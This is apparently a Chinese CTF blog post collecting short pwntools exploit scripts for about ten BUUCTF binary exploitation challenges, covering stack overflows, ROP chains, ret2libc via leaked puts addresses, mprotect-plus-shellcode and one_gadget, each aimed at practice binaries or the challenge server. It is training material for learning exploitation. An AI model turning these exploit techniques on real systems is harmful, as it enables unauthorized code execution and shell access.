BUUCTF pwn水题大赏（二）

get_started_3dsctf_2016

利用 mprotect 函数修改 bss 段，写入 shellcode
exp：

from pwn import*
context(arch='i386',os='linux')
flag=0x80489A0
p=process('./get_started_3dsctf_2016')
#p=remote('node3.buuoj.cn',28114)
#gdb.attach(p)
mprotect=0x0806EC80
buf=0x80ec000
pop_3_ret=0x0804f460
read_addr=0x0806E140

payload='a'*56+p32(mprotect)+p32(pop_3_ret)+p32(buf)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x100)
p.sendline(payload)
shellcode=asm(shellcraft.sh())

p.sendline(shellcode)
p.interactive()

本地脚本就是普通的栈溢出，但是栈溢出脚本打不通远程

ciscn_2019_en_2

puts 泄露 libc ，gets 栈溢出
exp：

from pwn import*
from LibcSearcher import*
p=process('./ciscn_2019_en_2')
#p=remote('node3.buuoj.cn',27770)
elf=ELF('./ciscn_2019_en_2')
context.log_level = 'debug'
ret=0x00000000004006b9
pop_rdi=0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_plt = elf.sym['main']

payload='a'*0x50+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_plt)
p.sendlineafter("choice!",'1')
p.sendline(payload)

puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
print hex(libc_base)
libc_sys=libc_base+libc.dump('system')
libc_sh=libc_base+libc.dump('str_bin_sh')

p.sendlineafter("choice!",'1')
payload2='a'*0x50+'a'*8+p64(ret)+p64(pop_rdi)+p64(libc_sh)+p64(libc_sys)+p64(0)
p.sendline(payload2)
p.interactive()

ciscn_2019_n_8

var[13]=17 时直接调用 system 函数
exp：

from pwn import*
p=process('./ciscn_2019_n_8')
#p=remote('node3.buuoj.cn',29317)
payload=p32(17)*14
p.sendline(payload)
p.interactive()

jarvisoj_level2

32位程序调用参数，栈溢出到 system 函数
exp：

from pwn import*
p=process('./level2')
#p=remote('node3.buuoj.cn',26054)
elf=ELF('./level2')
sys=elf.plt['system']

payload='a'*0x88+'a'*4+p32(sys)*2+p32(0x804A024)
p.sendline(payload)
p.interactive()

not_the_same_3dsctf_2016

栈溢出返回到 write ，通过 write 打印出在 bss 段上的 flag
exp：

from pwn import*
#p=process('./not_the_same_3dsctf_2016')
p=remote('node3.buuoj.cn',27211)
elf=ELF('./not_the_same_3dsctf_2016')
write=elf.sym['write']
flag=0x080ECA2D

payload='a'*0x2D+p32(0x080489A0)+p32(write)+p32(flag)+p32(1)+p32(flag)+p32(45)
p.sendline(payload)
p.interactive()

[BJDCTF 2nd]one_gadget

计算 libc 的基地址，然后 one_gadget
exp：

from pwn import*
p=remote('node3.buuoj.cn',27212)
elf=ELF('./one_gadget')
libc=ELF('libc-2.29.so')
one_gadget=[0xe237f,0xe2383,0xe2386,0x106ef8]

p.recvuntil('0x')
addr=int(p.recv(12),16)

libc_base=addr-libc.sym['printf']
print hex(libc_base)
one=libc_base+one_gadget[3]

p.recvuntil('Give me your one gadget:')
p.sendline(str(one))
#gdb.attach(p)
p.interactive()

bjdctf_2020_babystack

直接栈溢出跳转到 backdoor
exp：

from pwn import*
p=process('./bjdctf_2020_babystack2')
#p=remote('node3.buuoj.cn',25591)
backdoor=0x400726
ret=0x0000000000400599
pop_rdi=0x0000000000400893
elf=ELF('./bjdctf_2020_babystack2')
payload='a'*0x18+p64(ret)+p64(backdoor)
p.sendlineafter(':','-1')
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop

栈溢出调用 system 函数
exp：

from pwn import*
p=process('./babyrop')
#p=remote('node3.buuoj.cn',29059)
ret=0x0000000000400479
rdi=0x0000000000400683
elf=ELF('./babyrop')
sys=elf.plt['system']
payload='a'*0x10+'a'*8+p64(ret)+p64(rdi)+p64(0x601048)+p64(sys)*2
p.sendline(payload)
p.interactive()

jarvisoj_level2_x64

64位程序调用参数，栈溢出到 system 函数
exp：

from pwn import*
context.log_level = 'DEBUG'
#p=process('./level2_x64')
p=remote('node3.buuoj.cn',27144)
a=0x600A90
ret=0x00000000004004a1
pop_rdi=0x00000000004006b3
elf=ELF('./level2_x64')
sys_plt=elf.plt['system']
#gdb.attach(p)
payload='a'*0x88+p64(pop_rdi)+p64(a)+p64(sys_plt)
p.sendline(payload)
p.interactive()

ciscn_2019_n_5

将 /bin/sh 写到 bss 段上然后调用
exp：

from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux')
context.log_level = 'DEBUG'
p=process('./ciscn_2019_n_5')
#p=remote('node3.buuoj.cn',27170)
ret=0x00000000004004c9
pop_rdi=0x0000000000400713
shellcode = asm(shellcraft.sh())
p.sendlineafter('tell me your name',shellcode)
payload='a'*0x28+p64(0x601080)
p.sendlineafter('me?',payload)

p.interactive()